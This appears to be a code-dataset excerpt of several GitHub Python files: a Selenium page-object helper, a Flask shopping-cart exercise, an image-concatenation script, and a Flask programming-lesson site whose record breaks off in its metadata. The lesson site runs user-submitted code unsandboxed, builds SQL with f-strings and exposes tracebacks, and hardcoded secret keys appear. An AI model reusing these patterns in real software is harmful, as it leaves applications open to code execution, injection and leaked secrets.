choice_list.append(e1[i].text)\n return ratio_list,choice_list\n\n def click(self,*loc):\n el = self.find_element(*loc)\n try:\n el.click()\n logger.info(\"已成功被点击\")\n except:\n logger.error(\"Failed to be clicked\")\n\n\n def get_windows_img(self):\n file_path=os.path.dirname(os.path.abspath('.'))+'/screenshots/'\n if not os.path.exists(file_path):\n os.mkdir(file_path)\n rq=time.strftime('%Y%m%d%H%M',time.localtime(time.time()))\n screen_name=file_path + rq + '.png'\n try:\n self.driver.get_screenshot_as_file(screen_name)\n logger.info('截图保存到 /screenshots')\n except Exception as e:\n self.get_windows_img()\n logger.error('获取截图失败，因为%s'%e)\n\n def window(self,x):\n self.driver.switch_to.window(self.driver.window_handles[x])\n def iframe(self,y):\n self.driver.switch_to.frame(y)\n def find_text(self,*loc):\n el = self.find_element(*loc)\n text=el.text\n return text\n\n\n\n", "repo_name": "niuyuxiang/python_discuz", "sub_path": "pageobjects/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 3145, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "framework.logger.Logger", "line_number": 6, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.wait.WebDriverWait", "line_number": 28, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.visibility_of_element_located", "line_number": 28, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 28, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.wait.WebDriverWait", "line_number": 34, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.visibility_of_element_located", "line_number": 34, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 34, "usage_type": "name"}, {"api_name": "os.path.path.dirname", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 76, "usage_type": "name"}, {"api_name": "os.path.path.abspath", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path.path.exists", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 77, "usage_type": "name"}, {"api_name": "os.path.mkdir", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "name"}, {"api_name": "time.strftime", "line_number": 79, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 79, "usage_type": "call"}, {"api_name": "time.time", "line_number": 79, "usage_type": "call"}]} {"seq_id": "20946623171", "text": "# TASK: Shopping cart site\nimport os\nimport json\nfrom forms import CartItems\nfrom flask import Flask, render_template, redirect, url_for\nfrom products_data import retrieve_all_products, retrieve_requested_product\n\n\ndef main():\n \"\"\"\n Instructions:\n - Today we are going to be creating a website that allows the users to add and delete items from their shopping cart.\n - In the assets below, you can find a json file containing all the products you will be using for your store\n - Don’t forget to download the img zip found below in the assets.\n (these img should be placed in you static folder)\n - As a reminder, look at the assets below for the Lesson on Python File I/O\n (reading and writing from a json file)\n\n Assets:\n - Products file here:\n https://raw.githubusercontent.com/devtlv/studentsGitHub/master/Python/Week6/ProjectFlaskPythonPartTime/products.json\n - To save the json file you should : –> right-click, save link as…\n - Download also the img zip here:\n https://github.com/devtlv/studentsGitHub/blob/master/Python%20-%20Part%20Time/Week11/Day5/Mini%20Project/img.zip\n - Lesson on Python File I/O here:\n http://learn.di-learning.com/courses/collection/30/course/125/section/381/chapter/335\n\n Project structure:\n Part I:\n 1. Create a file named products_data.py.\n 1. Create a function named retrieve_all_products that should read all the products from the json file,\n and return it in a variable called all_products\n\n 2. Create a second function named retrieve_requested_product that takes the product id of the selected product as a parameter (from the products' template - see below).\n This function should read all the products from the json file, and return the product with the same id as the given parameter.\n Save the product in a variable called requested_product.\n\n 2. Add an app.py file to your project.\n 1. In this file, we will be using the functions written in the products_data.py. How can we access these?\n 2. Create a route with the following URL /, that will trigger a function that returns the template that welcomes the user, and tells them about your store.\n 3. Create a route with the following URL /products, that will trigger a function that returns a template that displays all the products.\n Each product should have a button that directs the user to the /products/ URL.\n 4. Create a route with the following URL /products/, that will trigger a function that returns a template that displays the requested product. The product should have a button that allows the user to add this product to his cart.\n\n\n Part II:\n At this point, we will be creating the functionality that allows the user to add and delete products from their cart.\n\n 1. In the app.py file\n 1. Create a route with the following URL /cart that leads to the cart template\n (it should display all the products in the cart with their price, the total price and a button next to each product that allows the user to delete it from his cart)\n 2. Create a variable named cart_item.\n This variable will hold all the products added to the cart.\n 3. Create a route with the following URL /add_product_to_cart/ that triggers a function.\n This function should take the product id as a parameter, and append the product details to the cart_item variable.\n 4. Create a route with the following URL /delete_product_from_cart/ that triggers a function.\n This function should take the product id as a parameter, and delete the product details from the cart_item variable.\n Note : If you feel comfortable with json, you could write the products into a cart.json file\n\n\n Part III: BONUS\n At this point, we will be creating the functionality that allows the user to sign up and login to our store website.\n This part is advanced. You need to teach yourself flask forms.\n\n 1. Create a new json file named users.json. The json file will contain a list of dictionaries. Each dictionary contains the user’s name, email and password.\n 2. Create a file named user_data.py.\n 1. Create a function named add_user that appends the user to the json file.\n 2. Create a function named check_user that checks the user’s credentials.\n - If the user’s credentials exist in the json file, redirect the user to the homepage.\n - If not, redirect the user to the sign-up page.\n 3. In the app.py file,\n 1. Create a signup view. It should retrieve the data from the signup form and call the add_user function.\n 2. Create a login view. It should retrieve the data from the login form and call the check_user function.\n Note: Keep someone logged in by using flask sessions, this will keep track of the current user.\n\n \"\"\"\n app = Flask(__name__)\n\n app.config['SECRET_KEY'] = '04ac1c79311cdbe8415062b8151322d7'\n\n @app.route('/base')\n def base():\n return render_template('base.html', products=retrieve_all_products())\n\n @app.route('/')\n @app.route('/homepage')\n def homepage():\n return render_template('homepage.html', title='Homepage')\n\n @app.route('/products')\n def products():\n return render_template('products.html', title='Products', products=retrieve_all_products())\n\n @app.route('/products/', methods=[\"POST\", \"GET\"])\n def details(product_id):\n form = CartItems()\n if form.validate_on_submit():\n return redirect(url_for('add_to_cart', product_id=product_id))\n return render_template('details.html', title=product_id, product=retrieve_requested_product(product_id), form=form)\n\n @app.route('/cart', methods=[\"POST\", \"GET\"])\n def cart():\n form = CartItems()\n with open('static/cart.json', 'r') as r_file:\n cart_list = json.load(r_file)\n return render_template('cart.html', title='Cart', cart_list=cart_list, form=form)\n\n @app.route('/add_product_to_cart/', methods=[\"POST\", \"GET\"])\n def add_to_cart(product_id):\n product = retrieve_requested_product(product_id)\n with open('static/cart.json', 'r') as r_file:\n if os.stat('static/cart.json').st_size == 0:\n cart_list = {}\n else:\n cart_list = json.load(r_file)\n\n if product_id in cart_list.keys():\n cart_list[product_id][\"Cart\"] += 1\n else:\n cart_list.update({product_id: product})\n cart_list[product_id][\"Cart\"] = 1\n\n with open('static/cart.json', 'w') as w_file:\n json.dump(cart_list, w_file, indent=2, sort_keys=True)\n return redirect(url_for('cart'))\n\n @app.route('/delete_product_from_cart/', methods=[\"POST\", \"GET\"])\n def delete_from_cart(product_id):\n with open('static/cart.json', 'r') as r_file:\n if os.stat('static/cart.json').st_size == 0:\n cart_list = {}\n else:\n cart_list = json.load(r_file)\n\n if product_id in cart_list.keys() and cart_list[product_id][\"Cart\"] > 1:\n cart_list[product_id][\"Cart\"] -= 1\n else:\n print(product_id)\n cart_list.pop(product_id)\n\n with open('static/cart.json', 'w') as w_file:\n json.dump(cart_list, w_file, indent=2, sort_keys=True)\n return redirect(url_for('cart'))\n\n app.run(debug=True, port=5000)\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "EthanA120/DI_Bootcamp", "sub_path": "Week11/Day5/MPShoppingCartSite/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 8012, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 77, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 83, "usage_type": "call"}, {"api_name": "products_data.retrieve_all_products", "line_number": 83, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 88, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 92, "usage_type": "call"}, {"api_name": "products_data.retrieve_all_products", "line_number": 92, "usage_type": "call"}, {"api_name": "forms.CartItems", "line_number": 96, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 98, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 98, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 99, "usage_type": "call"}, {"api_name": "products_data.retrieve_requested_product", "line_number": 99, "usage_type": "call"}, {"api_name": "forms.CartItems", "line_number": 103, "usage_type": "call"}, {"api_name": "json.load", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 106, "usage_type": "call"}, {"api_name": "products_data.retrieve_requested_product", "line_number": 110, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 112, "usage_type": "call"}, {"api_name": "json.load", "line_number": 115, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 124, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 125, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 125, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 130, "usage_type": "call"}, {"api_name": "json.load", "line_number": 133, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 142, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 143, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 143, "usage_type": "call"}]} {"seq_id": "71186198653", "text": "import numpy as np\nimport pandas as pd\nfrom tqdm import tqdm\nimport sys\nimport os\nimport cv2\n\nfrom classifiers.stack import read_data\n\n# Get the parent directory path\nparent_dir = os.path.abspath(os.path.join(os.getcwd(), \".\"))\n\n# Add the parent directory to the Python path\nsys.path.append(parent_dir)\n\n# Import other necessary modules\nfrom torchvision import transforms\n\ndef concatenate(stacks, save=True, feature_dir=\"datasets/all/\"):\n \"\"\"Concatenate images from two folders and save the results.\"\"\"\n # Create a new list to store the concatenated images.\n concatenated_imgs = []\n\n for img_A, img_B in tqdm(stacks, desc=\"Concatenating images\"):\n # Load the images from folders A and B\n image_A = cv2.cvtColor(cv2.imread(img_A), cv2.COLOR_BGR2RGB)\n image_B = cv2.imread(img_B, cv2.IMREAD_GRAYSCALE)\n\n # Concatenate the images\n concatenated_image = np.concatenate((image_A, image_B), axis=1)\n\n # Append the concatenated image to the list\n concatenated_imgs.append(concatenated_image)\n\n # Save the concatenated images\n if save:\n os.makedirs(feature_dir, exist_ok=True)\n for i, img in tqdm(enumerate(concatenated_imgs), desc=\"Saving concatenated images\"):\n filename = os.path.join(feature_dir, f\"concatenated_{i}.png\")\n cv2.imwrite(filename, img)\n\n return concatenated_imgs\n\n\nif __name__ == \"__main__\":\n mf = '40X'\n root_list = [\"C:/Users/hadil/Documents/projects/Machine Learning/project/breast/\", \"C:/Users/hadil/Documents/projects/Machine Learning/project/hog/\"]\n stack = read_data(root_list, mf=mf, mode='binary', shuffle=False)\n\n if len(stack) == 0:\n print(\"Please provide valid image directories!\")\n raise FileNotFoundError\n\n fnames, df = concatenate(stack, save=True, feature_dir=f'datasets/all/{mf}/')\n", "repo_name": "yusuftengriverdi/breakhis-classification", "sub_path": "datasets/conc.py", "file_name": "conc.py", "file_ext": "py", "file_size_in_byte": 1843, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.abspath", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 14, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 26, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 30, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 37, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 40, "usage_type": "call"}, {"api_name": "classifiers.stack.read_data", "line_number": 48, "usage_type": "call"}]} {"seq_id": "2091501257", "text": "import os\n\nfrom flask import Flask, abort\nfrom flask_wtf import FlaskForm\nfrom wtforms import EmailField, PasswordField, BooleanField, SubmitField\nfrom wtforms.validators import DataRequired\n\nfrom data import db_session\nfrom data.users import User\nimport datetime\nfrom flask import request\nfrom data.works import Works\nfrom flask import render_template\nfrom forms.users import RegisterForm\nfrom flask import redirect\nfrom flask import make_response\nfrom flask import session\nfrom flask_login import LoginManager, login_user, login_required, logout_user, current_user\nimport sqlite3\nfrom flask_uploads import UploadSet, configure_uploads, IMAGES\nfrom PIL import Image\nfrom test import test\nimport traceback\nimport sqlite3\n\napp = Flask(__name__, static_folder=\"static\")\nphotos = UploadSet('photos', IMAGES)\napp.config['UPLOADED_PHOTOS_DEST'] = 'static/img'\nconfigure_uploads(app, photos)\napp.config['SECRET_KEY'] = 'yandexlyceum_secret_key'\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\nlogin_manager.login_view = 'login'\nlessons = [\"Знакомство со средой\", \"Условный оператор\", \"Простые встроенные функции\",\n \"Знакомство с циклом while\", \"Знакомство с циклом for\"]\ntasks = [[\"вывести \\\"hello yandex\\\" без кавычек\", \"вывести сумму 2 и 2\", \"сложить переменные a = 10 и b = 20\"], [\"получить на вход два числа. вывести меньшее. не использовать min\", \"добавить в предыдущую программу начальный ввод, и если пользователь введет +, то вывести самое большое число, а если -, то самое маленькое\", \"сравнить две введенные строки по длинам, вывести большую\"], [\"получите сумму 2 и 2 с помощью sum\", \"найдите модуль -5 * -5 ** 2 + -6\", \"сделайте простейший калькулятор с помощью eval\"], [\"получить на вход пять чисел. вывести их сумму\", \"получать на вход числа, пока не придет 0. когда придет 0, вывести самое маленькое и самое большое число.\", \"усложните предыдущую задачу: если приходит отрицательное число, то берите его квадрат.\"], [\"напишите функцию факториала. вам дается число, выведите его факториал\", \"напишите функцию, которая перебирает числа от 1до n, и находит среднее. n вводится\"]]\ntests = [[[\"hello yandex\\r\\n\"], [\"4\\r\\n\"], [\"30\\r\\n\"]], [[b\"-3\\n\", b\"5\\n\", \"-3\\r\\n\"], [b\"+\\n\",b\"-3\\n\", b\"5\\n\", \"5\\r\\n\"], [b\"jhadhsdahsj\\n\", b\"abc\\n\", \"jhadhsdahsj\\r\\n\"]], [[\"4\\r\\n\"], [\"119\\r\\n\"], [b\"5*3\\n\", \"15\\r\\n\"]], [[b\"1\\n\", b\"2\\n\", b\"3\\n\", b\"4\\n\", b\"5\\n\", \"15\\r\\n\"], [b\"-1\\n\", b\"2\\n\", b\"-3\\n\", b\"4\\n\", b\"-5\\n\", b\"0\\n\", \"4\\r\\n-5\\r\\n\"], [b\"-1\\n\", b\"2\\n\", b\"-3\\n\", b\"4\\n\", b\"-5\\n\", b\"0\\n\", \"25\\r\\n1\\r\\n\"]], [[b\"5\\n\", \"120\\r\\n\"], [b\"7\\n\", \"4\\r\\n\"]]]\n\n\ndef find_balls():\n ballsob = sqlite3.connect(\"for_users.db\").cursor().execute(f\"\"\"SELECT results from works where id={str(current_user.id)}\"\"\").fetchall()[0][0]\n return sum(map(int, list(str(ballsob)))) - 14\n\n\nclass LoginForm(FlaskForm):\n email = EmailField('Почта', validators=[DataRequired()])\n password = PasswordField('Пароль', validators=[DataRequired()])\n remember_me = BooleanField('Запомнить меня')\n submit = SubmitField('Войти')\n print(email, password, remember_me)\n\n\n@app.route('/logout')\n@login_required\ndef logout():\n logout_user()\n return redirect(\"/\")\n\n\n@app.route(\"/\")\n@login_required\ndef index():\n lessons = [\"Знакомство со средой\", \"Условный оператор\", \"Простые встроенные функции\",\n \"Знакомство с циклом while\", \"Знакомство с циклом for\"]\n lessons.reverse()\n return render_template(\"main.html\", lessons=lessons, name=current_user.name, mail=current_user.email, balls=find_balls(),\n desc=current_user.about, avatar=current_user.avatar_path)\n\n\n@app.route(\"/lessons/\")\n@login_required\ndef open_lesson(lesson_num):\n return render_template(\"lessons.html\", lesson_num=lesson_num, list_of_balls=str(sqlite3.connect(\"for_users.db\").cursor().execute(f\"SELECT results from works where id={current_user.id}\").fetchall()[0][0])[(lesson_num - 1) * 3:(lesson_num - 1) * 3 + 3].replace(\"1\", \"незачет№\").replace(\"2\", \"зачет№\").split(\"№\")[:-1], lesson=lessons[lesson_num - 1], name=current_user.name, mail=current_user.email, balls=find_balls(),\n desc=current_user.about, avatar=current_user.avatar_path, tasks=tasks[lesson_num - 1])\n\n@app.route(\"/tasks//\", methods=['GET', 'POST'])\n@login_required\ndef open_task(lesson_num, task_num):\n con = sqlite3.connect(\"for_users.db\")\n cur = con.cursor()\n if request.method == 'POST':\n with open(\"solution.py\", \"w\") as f:\n f.write(request.values['comment'])\n try:\n n = test(tests[lesson_num - 1][task_num - 1])\n text = \"тест пройден\" if n[0] == n[1] else \"тест не пройден: ввод программы - \" + str(n[2]) + \" правильный вывод - \" + str(n[0]) + \" ваш вывод: \" + str(n[1])\n\n p, x = cur.execute(f\"SELECT content, results from works where id={current_user.id}\").fetchall()[0]\n x = list(str(x))\n print(x, (lesson_num - 1) * 3 + task_num - 1)\n x[(lesson_num - 1) * 3 + task_num - 1] = \"2\" if n[0] == n[1] else \"1\"\n print(x)\n p = p.split(\"*\")\n for i in range(len(p)):\n p[i] = p[i].split(\"~\")\n\n p[lesson_num - 1][task_num - 1] = request.values['comment'].replace(\"\\\"\", \"'\")\n print(p)\n for i in range(len(p)):\n p[i] = \"~\".join(p[i])\n print(p)\n p = \"*\".join(p)\n print(p, x)\n print(f\"\"\"UPDATE works SET content = \\\"{p}\\\", SET results = \\\"{x}\\\" WHERE id = {current_user.id}\"\"\")\n cur.execute(f\"\"\"UPDATE works SET content = \\\"{p}\\\", results = \\\"{''.join(x)}\\\" WHERE id = {current_user.id}\"\"\")\n con.commit()\n\n except BaseException:\n text = \"ошибка! \" + traceback.format_exc()\n return render_template(\"tasks.html\", last_attempt_text=request.values['comment'], taskhistory=text, num_tusk=task_num, lesson_num=lesson_num, task_num=task_num,\n task_text=tasks[lesson_num - 1][task_num - 1], name=current_user.name,\n mail=current_user.email, balls=find_balls(),\n desc=current_user.about, avatar=current_user.avatar_path)\n return render_template(\"tasks.html\", last_attempt_text=cur.execute(f\"SELECT content from works where id={current_user.id}\").fetchall()[0][0].split(\"*\")[lesson_num - 1].split(\"~\")[task_num - 1],task_num=task_num, lesson_num=lesson_num, taskhistory=\"\", num_tusk=task_num, task_text=tasks[lesson_num - 1][task_num - 1], name=current_user.name,\n mail=current_user.email, balls=find_balls(),\n desc=current_user.about, avatar=current_user.avatar_path)\n@app.route(\"/profile\")\n@login_required\ndef profile():\n return render_template(\"profile.html\", name=current_user.name, mail=current_user.email, balls=find_balls(),\n desc=current_user.about, avatar=current_user.avatar_path)\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n form = LoginForm()\n if form.validate_on_submit():\n db_sess = db_session.create_session()\n user = db_sess.query(User).filter(User.email == form.email.data).first()\n if user and user.check_password(form.password.data):\n login_user(user, remember=form.remember_me.data)\n return redirect(\"/\")\n print()\n return render_template('login.html',\n message=\"Неправильный логин или пароль\",\n form=form)\n return render_template('login.html', title='Авторизация', form=form)\n\n\n@app.route(\"/about\")\ndef about():\n return render_template(\"about.html\")\n\n@login_manager.user_loader\ndef load_user(user_id):\n db_sess = db_session.create_session()\n return db_sess.query(User).get(user_id)\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef reqister():\n form = RegisterForm()\n if form.validate_on_submit():\n if request.method == 'POST' and 'photo' in request.files:\n if form.password.data != form.password_again.data:\n return render_template('register.html', title='Регистрация',\n form=form,\n message=\"Пароли не совпадают\")\n db_sess = db_session.create_session()\n if db_sess.query(User).filter(User.email == form.email.data).first():\n return render_template('register.html', title='Регистрация',\n form=form,\n message=\"Такой пользователь уже есть\")\n filename = photos.save(request.files['photo'])\n img = Image.open(\"static/img/\" + filename)\n img = img.resize((400, int(img.size[1] / img.size[0] * 400)) if img.size[1] > img.size[0] else\n (int(img.size[0] / img.size[1] * 400), 400))\n img = img.crop(((img.size[0] - 400) // 2, 0,\n (img.size[0] - 400) // 2 + 400, 400) if\n img.size[0] > img.size[1] else\n (0, (img.size[1] - 400) // 2, 400,\n (img.size[1] - 400) // 2 + 400))\n name = str(int(open(\"lastsaved.txt\").read()) + 1)\n img.save(f\"static/img/{name}.png\")\n open(\"lastsaved.txt\", \"w\").write(name)\n os.remove(\"static/img/\" + filename)\n user = User(\n name=form.name.data,\n email=form.email.data,\n about=form.about.data,\n avatar_path=name + \".png\"\n )\n user.set_password(form.password.data)\n db_sess.add(user)\n db_sess.commit()\n con = sqlite3.connect(\"for_users.db\")\n cur = con.cursor()\n cur.execute(f\"INSERT INTO works (id, content, results) VALUES({user.id}, \\\"{'~' * 2 + '*' + '~' * 2 + '*' +'~' * 2 + '*' + '~' * 2 + '*' + '~' * 1}\\\", \\\"{'1' * 14}\\\")\")\n con.commit()\n return redirect('/login')\n return render_template('register.html', title='Регистрация', form=form, message=\"загрузите аватар\")\n return render_template('register.html', title='Регистрация', form=form)\n\n\ndef main():\n db_session.global_init(\"for_users.db\")\n app.run()\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "danosito/webPj", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 11450, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 26, "usage_type": "call"}, {"api_name": "flask_uploads.UploadSet", "line_number": 27, "usage_type": "call"}, {"api_name": "flask_uploads.IMAGES", "line_number": 27, "usage_type": "argument"}, {"api_name": "flask_uploads.configure_uploads", "line_number": 29, "usage_type": "call"}, {"api_name": "flask_login.LoginManager", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 41, "usage_type": "call"}, {"api_name": "flask_login.current_user.id", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 41, "usage_type": "name"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 45, "usage_type": "name"}, {"api_name": "wtforms.EmailField", "line_number": 46, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 46, "usage_type": "call"}, {"api_name": "wtforms.PasswordField", "line_number": 47, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 47, "usage_type": "call"}, {"api_name": "wtforms.BooleanField", "line_number": 48, "usage_type": "call"}, {"api_name": "wtforms.SubmitField", "line_number": 49, "usage_type": "call"}, {"api_name": "flask_login.logout_user", "line_number": 56, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 57, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 54, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 66, "usage_type": "call"}, {"api_name": "flask_login.current_user.name", "line_number": 66, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 66, "usage_type": "name"}, {"api_name": "flask_login.current_user.email", "line_number": 66, "usage_type": "attribute"}, {"api_name": "flask_login.current_user.about", "line_number": 67, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 67, "usage_type": "name"}, {"api_name": "flask_login.current_user.avatar_path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "flask_login.login_required", "line_number": 61, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 73, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 73, "usage_type": "call"}, {"api_name": "flask_login.current_user.id", "line_number": 73, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 73, "usage_type": "name"}, {"api_name": "flask_login.current_user.name", "line_number": 73, "usage_type": "attribute"}, {"api_name": "flask_login.current_user.email", "line_number": 73, "usage_type": "attribute"}, {"api_name": "flask_login.current_user.about", "line_number": 74, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 74, "usage_type": "name"}, {"api_name": "flask_login.current_user.avatar_path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "flask_login.login_required", "line_number": 71, "usage_type": "name"}, {"api_name": "sqlite3.connect", "line_number": 79, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 81, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 81, "usage_type": "name"}, {"api_name": "flask.request.values", "line_number": 83, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 83, "usage_type": "name"}, {"api_name": "test.test", "line_number": 85, "usage_type": "call"}, {"api_name": "flask_login.current_user.id", "line_number": 88, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 88, "usage_type": "name"}, {"api_name": "flask.request.values", "line_number": 97, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 97, "usage_type": "name"}, {"api_name": "flask_login.current_user.id", "line_number": 104, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 104, "usage_type": "name"}, {"api_name": "flask_login.current_user.id", "line_number": 105, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 105, "usage_type": "name"}, {"api_name": "traceback.format_exc", "line_number": 109, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 110, "usage_type": "call"}, {"api_name": "flask.request.values", "line_number": 110, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 110, "usage_type": "name"}, {"api_name": "flask_login.current_user.name", "line_number": 111, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 111, "usage_type": "name"}, {"api_name": "flask_login.current_user.email", "line_number": 112, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 112, "usage_type": "name"}, {"api_name": "flask_login.current_user.about", "line_number": 113, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 113, "usage_type": "name"}, {"api_name": "flask_login.current_user.avatar_path", "line_number": 113, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 114, "usage_type": "call"}, {"api_name": "flask_login.current_user.id", "line_number": 114, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 114, "usage_type": "name"}, {"api_name": "flask_login.current_user.name", "line_number": 114, "usage_type": "attribute"}, {"api_name": "flask_login.current_user.email", "line_number": 115, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 115, "usage_type": "name"}, {"api_name": "flask_login.current_user.about", "line_number": 116, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 116, "usage_type": "name"}, {"api_name": "flask_login.current_user.avatar_path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "flask_login.login_required", "line_number": 77, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 120, "usage_type": "call"}, {"api_name": "flask_login.current_user.name", "line_number": 120, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 120, "usage_type": "name"}, {"api_name": "flask_login.current_user.email", "line_number": 120, "usage_type": "attribute"}, {"api_name": "flask_login.current_user.about", "line_number": 121, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 121, "usage_type": "name"}, {"api_name": "flask_login.current_user.avatar_path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "flask_login.login_required", "line_number": 118, "usage_type": "name"}, {"api_name": "data.db_session.create_session", "line_number": 128, "usage_type": "call"}, {"api_name": "data.db_session", "line_number": 128, "usage_type": "name"}, {"api_name": "data.users.User", "line_number": 129, "usage_type": "argument"}, {"api_name": "data.users.User.email", "line_number": 129, "usage_type": "attribute"}, {"api_name": "flask_login.login_user", "line_number": 131, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 132, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 134, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 137, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 142, "usage_type": "call"}, {"api_name": "data.db_session.create_session", "line_number": 146, "usage_type": "call"}, {"api_name": "data.db_session", "line_number": 146, "usage_type": "name"}, {"api_name": "data.users.User", "line_number": 147, "usage_type": "argument"}, {"api_name": "forms.users.RegisterForm", "line_number": 152, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 154, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 154, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 154, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 156, "usage_type": "call"}, {"api_name": "data.db_session.create_session", "line_number": 159, "usage_type": "call"}, {"api_name": "data.db_session", "line_number": 159, "usage_type": "name"}, {"api_name": "data.users.User", "line_number": 160, "usage_type": "argument"}, {"api_name": "data.users.User.email", "line_number": 160, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 161, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 164, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 164, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 165, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 165, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 176, "usage_type": "call"}, {"api_name": 